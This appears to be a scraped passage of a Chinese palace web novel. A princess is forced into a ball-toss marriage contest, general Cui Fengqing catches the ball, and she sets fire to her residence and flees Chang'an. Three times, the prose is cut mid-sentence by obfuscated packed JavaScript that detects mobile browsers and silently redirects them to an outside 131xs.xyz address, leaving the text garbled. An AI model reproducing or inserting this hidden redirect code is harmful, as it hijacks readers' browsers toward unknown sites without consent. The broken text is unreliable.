《咸鱼公主靠毒术杀疯了》 1. 旧故里 咚咚咚…… 咚咚咚…… 脚步声擂鼓似的砸在寂静里,一下比一下急,像是催命的符咒。 浮梦烦躁地把锦被往头上一蒙,整个人缩成个蚕蛹。 扰人清梦,天打雷劈!八成又是春意那丫头。 果不其然,门外传来急促得快要岔气的呼吸,伴随着三短一长、带着某种暗号意味的敲门声。 “公主!公主!春意有十万火急的事禀报!” 浮梦一脸生无可恋,从被子里发出闷闷的、极其敷衍的声音,生怕外头的人听真了更来劲:“……进。” 门“吱呀”一声被推开,春意长吁一口气,拍着胸口:“谢天谢地,您醒了!公主,快起身吧,昨儿夜里那位福泉公公,他又来了!候在府门外头呢!” 春意凑近床边,眼神焦灼地对上浮梦从被褥缝隙里露出的半只惺忪睡眼,无声地加重了语气——昨晚那事儿,还没完! 浮梦连眼皮都懒得抬全,认命地叹了口气,重新闭上眼,任由春意把她从温暖的被窝里挖出来,像个提线木偶般梳洗打扮。 铜镜里映出一张苍白倦怠的脸,眼底两抹淡淡的青黑,是昨夜在“旧故里”听曲儿熬的。 春意一边麻利地绾发,一边心中暗暗感慨:不愧是公主,天塌下来也……呃,大概也能面不改色地接着睡? 半个时辰后,主仆二人才慢悠悠地从脂粉香气浓郁的“旧故里”晃荡回那座挂着“熙仁公主府”金匾的宅邸。 马车尚未停稳,府邸外围观的喧嚣声浪已扑面而来。 “快看!是公主的銮驾!” “哟嗬,猜猜咱们尊贵的公主殿下打哪儿逍遥回来啦?”一个尖利的声音故意拉长了调子。 旁边立刻有人哄笑着接茬:“哈哈哈,这还用猜?闭着眼睛都晓得!” “自然是‘旧故里’——温柔乡里醉今朝嘛!”人群爆发出心照不宣的、充满恶意的哄笑。 “闪开闪开!公主嫁到!都让道!”车夫粗声吆喝着驱赶人群。 浮梦斜倚在车厢内,眼眸半阖,窗外的污言秽语像隔着一层厚厚的毛玻璃,嗡嗡作响,却再也刺不进她磨出厚茧的耳膜。 无趣。她指尖无聊地绕着腰间一枚温润的旧玉佩,那玉质普通,雕工也粗糙,与这华贵的马车格格不入。 春意小心翼翼地搀扶着熙仁公主走下马车。 早已等得望眼欲穿、满头细汗的福泉公公像见了救星,一个箭步迎上前,腰弯得快折了,声音带着喘: “奴婢福泉,叩见熙仁公主!公主万福金安!奴婢奉皇后娘娘懿旨,特特在此恭候公主大驾!”他一口气说完,生怕这位祖宗一个不高兴又掉头走人。 这差事办砸了,回去怕不是得脱层皮。 浮梦懒洋洋地抬了抬手,连眼皮都没掀:“起吧。皇后娘娘有何指示?” 福泉看着眼前这位站得倒是笔直、眼神却飘忽得不知落在哪片云彩上的公主,心里叫苦连天,今儿这霉差怎么就落他头上了? 他硬着头皮,挤出个比哭还难看的笑:“公主……您看这……接旨的礼数……” 浮梦脸上那点敷衍的笑意瞬间敛去,随即,一个更灿烂、更浮于表面的笑容绽开,像戴上了一张精致的面具。 “瞧本宫这记性。”话音未落,她竟干脆利落地“噗通”一声跪在了地上。 只是这跪姿实在称不上恭敬——后背恨不能贴在地面上,双膝离地半寸,与其说是跪,不如说是“瘫”。 远远瞧着,倒像是身有隐疾,不便行礼。 她整个身子几乎匍匐在地,声音也拖得绵软无力,毫无皇家气度:“熙仁……听旨。” 福泉见状,腰杆子倒是瞬间挺直了几分,清了清嗓子,展开明黄的卷轴,拿出宫中宣旨的惯用腔调,抑扬顿挫地念起来: “皇后懿旨:本宫荷蒙天恩,统摄六宫。今有熙仁公主,毓质金枝,婉嫕天授,年已及笄。仰承圣主慈怀,欲择俊彦以成秦晋。兹特谕:着礼部于神武门外筑彩楼一座,择吉日张榜招亲。凡京中勋贵子弟、五品以上官员适龄子侄、有功名在身之青年才俊,皆可于吉日辰时,至彩楼下候选。公主于彩楼之上,亲掷绣球。中球者合此三则:一曰忠孝传家、二曰文韬安邦、三曰武备戍国。合则即奏请圣裁赐婚;未合者,赏金百两,以彰天恩浩荡。此乃体察仁心,昭示盛世和乐之意。六宫主位、诸命妇届日同观盛礼。各宜凛遵,毋得僭越!” 念罢,福泉将圣旨一合,脸上堆起程式化的笑容:“熙仁公主,接旨吧~” 浮梦趁着起身的瞬间,飞快地按了按离福泉最近的那只饱受魔音摧残的耳朵,声音依旧懒洋洋: “多谢皇后娘娘挂念,有劳她老人家还记得熙仁的生辰。”——就在昨日。 她接过那卷沉甸甸的明黄,看也没看,随手往后一甩,像丢开一块烫手山芋。 春意手忙脚乱地接住,险些脱手。 她定了定神,转身对上福泉,迅速从袖中摸出一个沉甸甸的荷包塞过去,脸上堆满讨好的笑:“公公辛苦,这点心意您拿着润润嗓子。皇后娘娘若问起公主接旨时的情形……” 福泉手指灵巧地一勾,那荷包便滑入袖中,指尖不着痕迹地掂了掂分量,脸上的褶子笑得更深了:“姑娘放心,宫中事忙,杂家这便回去复命了,公主……好生准备着。” 他意有所指地瞥了一眼已经打着哈欠、晃晃悠悠往府门里走的浮梦,转身带着小太监们匆匆离去。 浮梦迈进府门,却没往自己寝殿去。她在影壁前顿了顿,一转身,竟又朝府外走去。 “公主!您……” 春意捧着那卷仿佛烧红烙铁般的懿旨,急得原地跺脚,眼看公主头也不回,只得咬咬牙,把懿旨往怀里一揣,小跑着追了上去。 马车再次驶向那个令长安城津津乐道的地方。 甫一踏入熟悉的、弥漫着暖香与丝竹声的雅间,春意便再也按捺不住: “公主!皇后娘娘这……这究竟是何意啊?彩楼招亲?这……这成何体统!古往今来,哪有金枝玉叶的公主这般……” 后面的话她没敢说出口——说出来也不怕被全天下笑掉大牙! 浮梦却像没听见,自顾自寻了那张铺着雪白狐裘的贵妃榻,舒舒服服地斜躺下去,闭着眼,指尖在榻沿无意识地敲着。 被春意灼灼的目光盯得久了,她才微微掀开一条眼缝,带着点戏谑看向自家急得快冒烟的小侍女: “哟,还没见过咱们春意姑娘这么火烧眉毛呢?瞧瞧,咱们皇后娘娘干的好事,把我家小春意都吓成什么样了。” 被公主这么一调侃,春意满腹的急躁像被泼了盆冰水,滋啦一声熄了大半,只剩下一脸委屈和茫然。 “您……您就一点都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093104|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着急?”她小声嘟囔。 浮梦换了个更慵懒的姿势,声音像飘在云端:“皇帝金口玉言都答应了,谁还敢质疑?质疑就是抗旨,要掉脑袋的。” 她顿了顿,嘴角勾起一丝极淡、极冷的弧度, “再说了,着急有用吗?” 春意还想说什么,却见公主已重新阖上双眼,呼吸平稳,神态安然,仿佛刚才接到的不是一道决定她命运的懿旨,而是一张无关紧要的戏单子。 春意张了张嘴,最终化作一声无声的叹息,轻轻退了出去,小心地带上了门。 门扉合拢的轻响隔绝了外界的喧嚣。春意背靠着门板,怀里那卷明黄绸缎隔着衣料,依旧烫得她心头发慌,一股寒意却从脚底直窜上来。 她望着雅间紧闭的门,只觉得浑身冰冷。 这就是……帝王家的宠爱吗?轻飘飘一道旨意,便将人如棋子般摆布。 接下来的几日,熙仁公主府平静得诡异。 春意眼见着自家公主依旧雷打不动地睡到日上三竿,兴致勃勃地去西市淘换些稀奇古怪的瓶瓶罐罐(据说是新得的香料),甚至去“旧故里”的次数也未曾减少半分。 她悬着的心稍稍放下些许,或许公主真有成算?或许皇后娘娘只是走个过场? 直到招亲前三日,熙仁公主斜倚在窗边,看着外面阴沉沉的天色,状似无意地随口问了一句: “春意,这几日,长安城里可有什么新鲜事?或者……有什么人回来了?” 春意心头一跳,立刻打起十二分精神,将这几日长安城里的大小动静,事无巨细地禀报: “李尚书家表亲的儿子来探亲闹了笑话,王御史新纳的小妾和原配打起来了,城东新开了家波斯胡商的铺子……” 她一边说,一边偷觑公主的脸色,见她依旧是那副百无聊赖的样子,心中稍定,才继续道: “哦,还有一件要紧的。奴婢听闻,崔太傅家的那位幼孙,骠骑大将军崔逢青,北境大捷,不日便要班师回朝了!估摸着……也就这两日能到京。” 提到这位声名赫赫的将军,春意的语调也不自觉地带上了一丝敬畏和兴奋, “长安城里关于这位小将军的传闻可多着呢!有人说他面如修罗,青面獠牙,在战场上生啖敌肉,能止小儿夜啼!也有人说他身姿挺拔,肃肃如松下之风,气度高华,风华内敛,贵气天成……” 浮梦原本无意识敲击窗棂的手指,蓦地一顿,崔逢青? 那个名字像一颗冰冷的石子投入心湖。 她眉尖几不可察地蹙了一下,心底无声地划过一丝警觉:“不会是他。” 崔家,盘踞朝堂百年,根深叶茂,是真正能与皇室掰手腕的世家巨擘。 崔逢青更是崔家这一代最耀眼的将星,手握重兵,声威赫赫。 这样的人,崔家怎会允许他尚公主?尚她这样一个声名狼藉的“废柴”公主?这无异于自断臂膀,将前途无量的继承人送入皇室编织的、华丽的囚笼。 更何况是崔逢青本人……以他的傲气和实力,岂会甘愿受此摆布? 春意说完,见公主依旧没什么特别的反应,只是眼神似乎飘得更远了,便识趣地闭上了嘴,安静地侍立一旁。 山雨欲来风满楼。 长安城的空气,似乎都因这位即将归来的煞神将军和那场即将到来的荒唐招亲,而变得粘稠沉重起来。 2. 崔逢青 吉日转瞬即至。 神武门外,三层彩楼拔地而起。 远望之,金碧辉煌,彩绸飘飘,宛如仙宫琼阁,在晨光中熠熠生辉,引来无数百姓翘首围观,啧啧称奇。 然而,当浮梦被皇后昨日派来的、两个面容刻板眼神锐利的资深嬷嬷押着(美其名曰“侍奉梳妆”), 于卯时初(凌晨5点)熙仁公主便被两个嬷嬷从温暖的被窝里被挖起,一番折腾后,终于在辰时正(8点)吉时,被“请”上彩楼时,她才真正看清了这“祥瑞”的真面目。 风起,数万条茜素红的轻纱绸缎猛地被风卷起,如血浪般裹住三层飞檐。 远望如云霞栖塔,瑰丽非凡。可近看,却见那红纱是被工匠仓促钉上去的,用以遮盖梁柱上狰狞的裂缝。 一匹纱被椽头粗糙的豁口死死咬住,“刺啦——”一声刺耳的裂帛声响起,红纱撕裂, 露出了内里填充的、早已发霉腐朽的草絮,散发着潮湿的霉味,像美人精心描画的笑靥下,溃烂流脓的牙龈。 日头渐高,贴满金箔的瓦当反射着刺目的烈光,晃得楼下跪拜的百姓高呼“祥瑞”。 可那刺眼的光斑游走过处,真相毕露:金箔起翘翻卷,如死鱼脱落的鳞片,底下露出的松木早已被蛀虫啃噬得千疮百孔,像腐朽的蜂巢,不断渗出粘稠的、琥珀色的汁液, 引来几只硕大的绿头苍蝇,围着这虚假的“辉煌”嗡嗡打转,贪婪地舔舐着那甜腥的腐朽气息。 浮梦在嬷嬷和春意的“搀扶”下,一步步登上这摇摇欲坠的“仙宫”。 她行至楼栏边,缀满硕大南海珍珠的阑干触手冰凉,在她指尖下竟微微颤抖。 华丽的缠臂金纱拂过栏杆,突然被一根尖锐的木刺勾住——“嘣!”一声轻响,三根金线应声而断。 断裂处,暴露了栏杆的本质:不过是廉价的杨木刷了一层赭石漆,拙劣地冒充名贵的紫檀! 虫蛀的小孔被工匠用蜂蜡混着金粉草草填补,此刻在阳光下,如同皮肤上丑陋的疥疮。 浮梦垂眸,指尖捻着那根断裂的金线,无悲无喜。 脚下,覆盖着华美绢纱的楼板深处,传来一阵令人牙酸的“咯吱……咯吱……”声,像是这腐朽巨兽不堪重负的呻吟。 她稳稳地站在那儿,目光投向楼下黑压压的人群。 今日朝廷休沐,皇帝特许“与民同乐”。 有资格进入彩楼下方特定区域的,多是勋贵子弟和适龄才俊。 熙仁公主端坐于彩楼之上,神情肃穆,风姿绰约,背脊挺直,竟显露出几分往日罕见的皇家威仪,让楼下不少人都看直了眼。 只有紧紧守在她旁边的春意,一颗心提到了嗓子眼,时刻留意着公主有没有在那身繁复沉重的礼服和冠冕下睡着。 直到她眼尖地在入场的人群中瞥见一个熟悉的身影,才赶紧借着整理公主衣袖的机会,压低声音急急提醒:“公殿下,人来了,卢家那位小公子,卢江枫。” 浮梦原本有些涣散的瞳孔瞬间聚焦,目光似有似无地投向那个穿着骚包锦袍、一脸不耐又强装镇定的身影。 楼下的人越来越多,老熟人福泉公公再次出场,捏着尖细的嗓子,开始冗长的开场白: “吉——时——到——!今有熙仁公主,贞静柔顺,贞慧天成,坤德昭昭,则凤凰来仪……” 又臭又长的奉承话足足念了一刻钟,福泉才口干舌燥地往后稍退一步,躬身道:“熙仁公主,请吧。” 熙仁公主扶着春意的手臂,缓缓起身,凭栏远眺。 掌心不经意蹭过朱漆斑驳的栏杆,一阵尖锐的刺痛传来。她抽回手,只见白皙的掌心沁出一点鲜红的血珠,染红了栏杆裂缝里溢出的、粘稠的白蚁分泌物。 这微小的插曲无人在意,就如同角落里不知何时多出的那道玄色身影一样,悄然无声。 浮梦接过内侍呈上的、缀满金丝银线、华丽非常的绣球。 她脸上适时地飞起两抹红霞,露出小女儿般娇羞期待的姿态,眼波流转,遥遥地、精准地锁定了人群中的卢江枫。 卢江枫被这“深情”一望,虎躯猛地一震,脸色瞬间煞白!这草包公主不会真看上他了吧?! 卢家就算再没落,也不可能尚公主啊!尤其还是这么个声名狼藉的主儿! 眼看着熙仁公主那副“非君不嫁”的架势,卢江枫吓得魂飞魄散,顾不得什么体面,怪叫一声,拔腿就往外围挤去,他这一跑,顿时在密集的人群中引起一阵不小的骚动。 浮梦心中暗笑:急什么?蠢货。她早已认定,皇帝安排好的内定人选,就是这位卢家幼子。 他自幼娇宠,不学无术,与自己这“废柴”公主堪称绝配。 选他,既能堵住悠悠众口,表面上看是“天命所归”,又能不动声色地打破世家之间可能存在的联姻,还不会让皇室和世家大族面上太过难堪。 想通此节,浮梦心中再无半分波澜。 嫁谁不是嫁?横竖都是囚笼。 这或许,还能让她借着卢家的掩护,更自由些?她 掂了掂手中沉甸甸的绣球,唇角勾起一丝若有若无的弧度,然后,毫不犹豫地朝着卢江枫刚才所在的大致方向,奋力一抛! “欻——!” 绣球迎着清晨第一缕金色的阳光,在空中划出一道饱满而耀眼的弧线。 楼下的人群瞬间沸腾!惊呼声、推搡声、叫骂声响成一片。 那些突然涌入维持秩序的生面孔侍卫,气场肃杀,与京中卫兵截然不同,奋力阻挡着汹涌的人潮,场面几近失控。 绣球在无数双伸出的手中跳跃、翻滚,像一颗不受控制的流星。 不知是谁在混乱中大力一推一抛,那绣球竟高高飞起,远远脱离了人群中心,像一道坠落的流星,直直飞向彩楼最西侧那个相对僻静、甚至有些阴暗的角落! “哎呀!球飞了!” “那边!那边没人!” “完了完了,要掉地上了!” “这闹剧总算要收场了……” 众人伸长了脖子,眼看着绣球就要落地,这场由皇室主导的荒唐招亲将以无人接球、公主沦为更大笑柄而告终。 不少人都松了口气,准备看更大的笑话。 就在这电光火石之间,一个低沉、清晰、带着金铁之音、瞬间穿透所有嘈杂的声音骤然响起,如同惊雷炸响在每个人的耳畔: “臣,崔逢青拿到了绣球。” 轰! 整个彩楼下,仿佛被投入了静音的符咒。 所有的喧嚣、议论、哄笑,都在这一刹那戛然而止。时间仿佛凝固了。 无数道目光,惊愕、难以置信、带着巨大恐惧,齐刷刷地聚焦向那个阴暗的角落。 只见一道颀长挺拔的身影,不知何时已如渊渟岳峙般立在那里。 他身着玄色轻甲,未戴头盔,墨发以一根简单的乌木簪束起,面容冷峻如冰雕石刻,周身散发着生人勿近的凛冽寒气。 那枚华美却沉重的绣球,此刻正被他一只骨节分明布满厚茧的大手稳稳托住,仿佛托着的不是决定皇家姻缘的彩球,而是一件微不足道的战利品。 浮梦在听到那名字的瞬间,如同被一道无形的闪电劈中,她“腾”地一下从椅子上站了起来,带得沉重的冠冕珠翠一阵乱响。 她双手死死抓住滚烫的朱漆栏杆,身体前倾,不顾仪态地极力向那个角落望去,试图看清那个身影,确认事情的真相。 心脏在胸腔里疯狂擂动,一个冰冷的声音在脑中尖叫:预感不妙!崔将军不会娶她!崔家、皇室更不会放过她!最好的办法是……解决掉这个“意外”。 她强迫自己冷静,指甲深深掐进掌心,留下月牙形的红痕: 皇帝有安排,卢江枫才是目标,不可能是崔逢青,绣球一定是看错了,此刻的话语略显混乱。 就算……就算那该死的球真落到了他手里,这烫手的山芋,最终落在哪里,还不是他说了算?解决掉一个球,可比解决掉一个公主,要方便太多太多了…… 这么想着,浮梦紧绷的身体似乎放松了一点点,她缓缓地、带着一丝虚脱般的乏力,坐回了椅子上。 她端起旁边小几上早已半凉的茶水,想压压惊。冰凉的瓷壁触到唇边…… 就在这时,楼下那死寂的空气被崔逢青的声音再次打破。 他无视了周围无数道震惊、探究、恐惧的目光,托着那绣球,如同托着一件碍事的物件,迈开长腿,几步便从阴暗角落走到了人群自动分开的空地中央。 他微微抬首,目光如冰冷的刀锋,精准地投向彩楼之上,声音不高,却清晰地传入每一个人耳中,也如同重锤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093105|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸在浮梦的心上: “臣,崔逢青,拿到了绣球。” “啪嚓——” 一声脆响,浮梦手中的越窑青瓷茶盏应声而裂,滚烫的茶水和锋利的碎片溅了她一手,细小的瓷片扎进柔嫩的掌心,尖锐的刺痛和灼热感瞬间传来,她却浑然未觉。 不可能! 绝对不可能! 她脑中一片空白,只有这三个字在疯狂回荡。所有的侥幸,所有的自我安慰,在这一刻被彻底粉碎…… 仿佛是算好了时间,皇帝和皇后的仪仗不知从哪个角落转了出来,出现在彩楼下方。 皇帝脸上带着恰到好处的“惊喜”笑容,声音洪亮:“好!崔将军年轻有为,战功彪炳,得此夫婿,实乃公主之幸,社稷之福!” 崔逢青闻言,并未下跪,也未谢恩。他只是对着皇帝和皇后的方向,极其冷淡、极其标准地躬身行了一个武将礼节,动作利落得不带一丝温度。 随即,他直起身,目光甚至没有在彩楼上那个失魂落魄的身影上停留一瞬,声音依旧平直无波: “既然招亲已毕,臣家中尚有要事,先行告退。” 说完,他甚至没等帝后回应,便径直转过身,拂袖一挥,将那枚象征着皇家姻缘、此刻却无比讽刺的华丽绣球随意抛给身后的亲卫,仿佛丢开一件垃圾。 然后,在无数道呆滞的目光注视下,他带着一身生人勿近的煞气,分开人群,玄甲反射着冰冷的日光,大步流星地离去。背影决绝,没有半分留恋。 留下彩楼下死一般的寂静,和彩楼上如坠冰窟的熙仁公主。 足足过了好几息,凝固的空气才猛地炸开! “这……这就结束了?!”有人失声叫道。 “你掐我一下!我是不是在做梦?” “哎哟!龟孙儿真掐啊!” 嘶……真是骠骑将军崔逢青?!我的老天爷! “崔将军接了绣球?!那……那公主岂不是要……” “嘘!噤声!你不要命了!” “可……可他怎么就走了?这算怎么回事啊?” 议论声、惊呼声、抽气声如同沸腾的开水,瞬间将彩楼下淹没。 所有人都在交头接耳,脸上写满了巨大的震惊、难以置信和一种窥破惊天秘闻般的兴奋与恐惧,整个场面彻底炸开了锅。 皇帝脸上的笑容淡了几分,眼神深处掠过一丝难以言喻的阴霾。 皇后则紧紧攥住了手中的帕子,指节发白。两人对视一眼,皇帝从皇后眼中看到了意外和一丝……棘手,不过他并不在乎。 他们不再看楼上,也未曾留下一句安抚或指示,在侍卫的簇拥下,默然转身,如同来时一般突兀地离开了这片喧嚣的中心。 彩楼之上,浮梦依旧僵坐在那里。掌心被瓷片扎破的地方,血珠混着冰冷的茶水,蜿蜒滑落,滴在华丽却肮脏的裙摆上,晕开一小团深色的污迹。 楼下鼎沸的人声像是隔着一层厚厚的冰,模糊不清地传来。 茶水浇在手上的冰凉,掌心刺入碎片的尖锐痛楚,此刻都无比清晰地刺激着她的神经。 这痛感,连同崔逢青那冰冷决绝的背影、帝后漠然离去的姿态,像一把把烧红的烙铁,狠狠烫在她混沌的意识上。 崔家不会要她这颗弃子。 皇室更乐得看她成为这场权力博弈中第一个被碾碎的牺牲品。 崔逢青…他接下绣球,是意外?是挑衅?还是……某种更可怕的信号? 巨大的危机感如同冰冷的潮水,瞬间淹没了她所有的侥幸和茫然。 求生的本能像野兽般在胸腔里咆哮,长安,这座用黄金和谎言堆砌的华丽囚笼,此刻向她露出了森然的獠牙! 逃。 必须逃,不惜一切代价。 这个念头如同惊雷,劈开了她脑中所有迷雾。 曾经那个疯狂而决绝的计划,瞬间在她冰冷一片的心底成型。 她缓缓地、缓缓地低下头,看着自己染血的手掌。 那鲜红的血,刺目,灼热。然后,她猛地抬起头,原本因震惊而失焦的眼眸,此刻燃烧起一种近乎疯狂的、冰冷决绝的光芒! 那光芒,穿透了彩楼的虚假辉煌,穿透了楼下鼎沸的喧嚣,直直投向公主府的方向。 这光该有多亮,才能照清一条生路? 3. 公主府 “走水啦!公主寝殿走水啦!快来人啊——!” 凄厉的呼喊如同投入滚油的火星,瞬间点燃了长安城繁华地段的夜空,巍峨的熙仁公主府,此刻化作了一座喷吐烈焰的巨兽。 赤红的火舌贪婪地舔舐着雕梁画栋,琉璃瓦在高温下发出不堪重负的爆裂脆响,滚滚浓烟如同狰狞的黑蛇,直冲云霄,将半边天幕染成暗红。 热浪扭曲了空气,焦煳味混合着木料燃烧的噼啪声,充斥着每一个角落。 府邸内彻底乱了套,被惊醒的仆役们如同无头苍蝇,尖叫着、哭喊着、推搡着。 有人衣衫不整地提着木桶水盆冲向火场,水泼上去只激起一片更猛烈的白气和滋滋怪响;有人抱着抢出来的细软包袱,慌不择路地往府门外挤;还有人趁乱摸向库房的方向…… 救火的、逃命的、浑水摸鱼的,你推我搡,乱作一团,场面比西市最拥挤的早市还要混乱十倍! “公主!公主殿下还在寝殿里面!快救公主啊!” 有人声嘶力竭地大喊,声音却被淹没在鼎沸的嘈杂和火焰的咆哮中。 回应她的,只有头顶那根被火焰吞噬得摇摇欲坠的巨大房梁,发出令人惊恐的“吱嘎”呻吟,火星如雨点般簌簌落下。 府邸深处,靠近西侧角门方向的阴影里,浮梦最后回望了一眼公主府。 冲天的火光映亮了她苍白的脸,也映亮了她眼中交织的恐惧、决绝和一丝难以言喻的悲凉。 她将怀中紧紧抱着的是几件看似不起眼的旧物(一个褪色的香囊,一本琴谱)用布裹得更严实,深吸一口气,转身决绝地没入了通往西市方向的小巷黑暗之中。 就在主仆二人身影消失的瞬间,另一道更隐秘的影子,如同融化的墨汁,悄无声息地从公主府对面屋脊的阴影里浮现。 那双眼睛,冰冷地注视着春意消失的方向,随即又如鬼魅般重新隐入更深的黑暗,去向不明。 时间倒回招亲后。 浮梦如同一个被抽离了魂魄的精美人偶,在春意无声的搀扶下,一步步走下那座金玉其外的腐朽高台。 脚下繁复的锦缎裙摆,不再轻盈飘荡,沉重地拖曳着,不时黏上彩楼木阶裂缝里渗出的、黏稠腥臭的白蚁分泌物,变得污浊不堪。 皇后派来“侍奉”的那两个刻板嬷嬷,早已在变故发生时便消失得无影无踪,仿佛从未出现过。 只有她发髻间随着沉重脚步微微晃动的珠钗步摇,发出细碎而单调的“叮铃”声。 回府的马车里,空气凝滞得如同铅块。 春意双手紧握,指甲深深掐进掌心,满眼都是化不开的焦灼与担忧。 她几次欲言又止,看着身侧如同泥塑木雕般、眼神空洞望着车窗外飞速倒退街景的熙仁公主,最终将所有的话语都咽了回去,只余下满心满肺的疼惜与沉重。 车厢内,只有车轮碾过青石板的单调声响,一声声,碾在人心上。 回到寝宫,铜镜里映出一张毫无血色的脸,眼底装着化不开的疲惫与冰冷。 浮梦任由春意沉默而快速地替她卸下那一身沉重的、象征着她可笑身份的华服与珠翠。冰冷的珠玉滑落,发出沉闷的声响。 就在沉重的凤冠被取下,三千青丝披散肩头的刹那—— “咚咚咚。” 一阵不疾不徐的敲门声,打破了令人窒息的寂静。 门外传来侍女恭敬却难掩一丝轻慢的声音:“禀熙仁公主,‘旧故里’的易竹公子,派人送了封信来。” 浮梦空洞的瞳孔微微一缩,一丝微弱却真实的光亮瞬间刺破了眼底的冰层。 她立刻调整了声音,听起来带着一丝被打扰的不悦,却又难掩一丝女儿家的娇嗔欣喜:“春意。” 春意心领神会,放下梳子快步走到门边,接过门外递进来的一个不起眼的素色信封。 她关好门,回到妆台前,迅速拿起旁边早已凉透的残茶,小心地、一点点将信封的边缘浸湿。 浮梦屏息凝神,看着春意熟练地挑开被茶水泡软的封口,取出里面一张看似普通的信笺。 她接过来,凑近烛火,仔细辨认着信纸上那些看似寻常问候的字句。 看着看着,她紧锁的眉头渐渐舒展开来,紧绷的肩膀也微微放松。 易竹,从不传递无用的消息。 浮梦压低声音,带着一种不容置疑的决断:“春意,计划可以提前了。” 春意的眸子瞬间爆发出惊人的亮光!身体因为激动而微微颤抖。 这一天……公主筹划了多久的这一天,终于要来了吗?!她用力点头,喉咙哽咽:“是!” “咳!” 浮梦迅速清了清嗓子,将声线拔高,恢复了平日的慵懒腔调,对着门外扬声道:“告诉易公子,他的心意本宫收到了,本宫定会按时赴宴!” 门外守着的侍女撇了撇嘴,心中鄙夷:果然是个没心没肺的草包!刚被崔将军当众“拒婚”(在她看来就是),转头就惦记着会情郎,写的怕不是些酸掉牙的淫词艳曲,嘴上却毕恭毕敬:“是,奴婢这就去给易公子回话。” 主仆二人屏住呼吸,凝神听着门外的脚步声由近及远,最终彻底消失在回廊尽头。 确认无人,春意再也抑制不住,巨大的兴奋和紧张让她声音都在发颤:“公主!我们……” 她激动得几乎说不出完整的话。 易竹传来的消息,是千载难逢的逃亡窗口!浮梦用力握住春意因激动而微微颤抖的手,掌心传递着力量和安抚: “别慌。按计划行事。去,把床底下藏好的东西搬出来。等天色彻底黑透……倒在寝殿四周。” 她的声音压得极低,却字字清晰,带着一种破釜沉舟的冷冽。 春意胡乱抹了一把不知何时滚落脸颊的泪水,另一只手更紧地回握住公主的手,仿佛要从中汲取勇气。 她深吸一口气,将所有的哽咽和恐惧都压回心底,眼神变得无比坚定,如同淬火的钢铁: “公主信我!” 这四个字,像一把钥匙,瞬间打开了记忆的闸门。浮梦眼眶猛地一热,眼前仿佛浮现出许多年前,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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估摸着府中大部分人都已陷入沉睡,一道纤细的身影如同灵猫般,悄无声息地摸到了寝殿窗下。 “公主?公主?” 春意捏着嗓子,发出如同夏夜蟋蟀般的细微呼唤。 紧闭的窗扉无声地开了一条缝,浮梦那双在黑暗中异常清亮的眼眸露了出来。无需言语,一个眼神交换,春意便明白了。 她不再犹豫,手脚麻利地掏出藏在怀中的火折子。 轻轻一吹,微弱的火苗亮起,瞬间点燃了手中浸透了火油的布团,沿着公主寝殿的窗棂、廊柱,将那些早先悄悄倾倒在此的、极易燃烧的黑色黏稠膏状物迅速点燃。 一点,两点,三点……橘红的火苗如同贪婪的蛇信,甫一接触到引火物,便“轰”的一声爆燃开来! 火舌沿着精心设计的路线,疯狂地舔舐着干燥的木质结构,迅速连成一片炽热的火网!浓烟滚滚而起! “走水啦!快来人啊!公主寝殿走水啦——!” 4. 老地方 西市,“旧故里”后巷一处隐秘的柴房。 易竹一身低调的布衣,早已在此恭候多时。看到主仆二人气喘吁吁地跑来,他立刻将一个沉甸甸的皮质腰牌塞到浮梦手里,语速极快:“西门,张直长。” 浮梦早已换上了一身毫不起眼的粗布衣裳,脸上精心涂抹了锅灰,发髻散乱地挽成一个普通妇人的样式。 她接过腰牌,入手冰凉沉重。她将母亲留下的小匣子贴身藏好,又将一沓便于携带的“飞钱”塞进袖袋。 桌上的华服首饰,被她毫不犹豫地舍弃。 “老规矩,老地方,保重。” 浮梦深深地看了易竹一眼,千言万语只化作这一句。 随即,她一把拉过春意冰凉的手,两人如同离弦之箭,朝着西门的方向拼命奔。 夜色如墨,浓得化不开。 只有远处公主府方向映红了半边天的火光,以及稀疏的几点星光,勉强勾勒出长安城巨大而沉默的轮廓。两个纤细的身影在狭窄曲折的坊间小巷中急速穿行,心跳声如同擂鼓,在寂静的夜里格外清晰。 越来越近!西城门那巨大的、如同巨兽之口的阴影已在望,城门尚未关闭,但守卫明显比平时森严了许多。 浮梦深吸一口气,强迫自己镇定下来。她微微佝偻着背,拉着同样灰头土脸的春意,低着头,一步步走向盘查的士兵。 “站住!宵禁将至,出城何事?腰牌!” 为首的正是易竹提到的张直长,眼中的浑浊快占据整个眼球,上下打量着这两个行色匆匆、形容狼狈的“妇人”。 春意强压着快要跳出喉咙的心脏,将那块沉甸甸的腰牌递了过去。 张直长接过腰牌,借着火把的光芒仔细翻看。腰牌质地精良,花纹古朴,正面一个篆体的“崔”字,背面则是繁复的云纹和一个小小的数字。 这绝非普通物件!他狐疑的目光再次扫向浮梦和春意:“这腰牌……你们是崔大人府上什么人?为何深夜出城?” 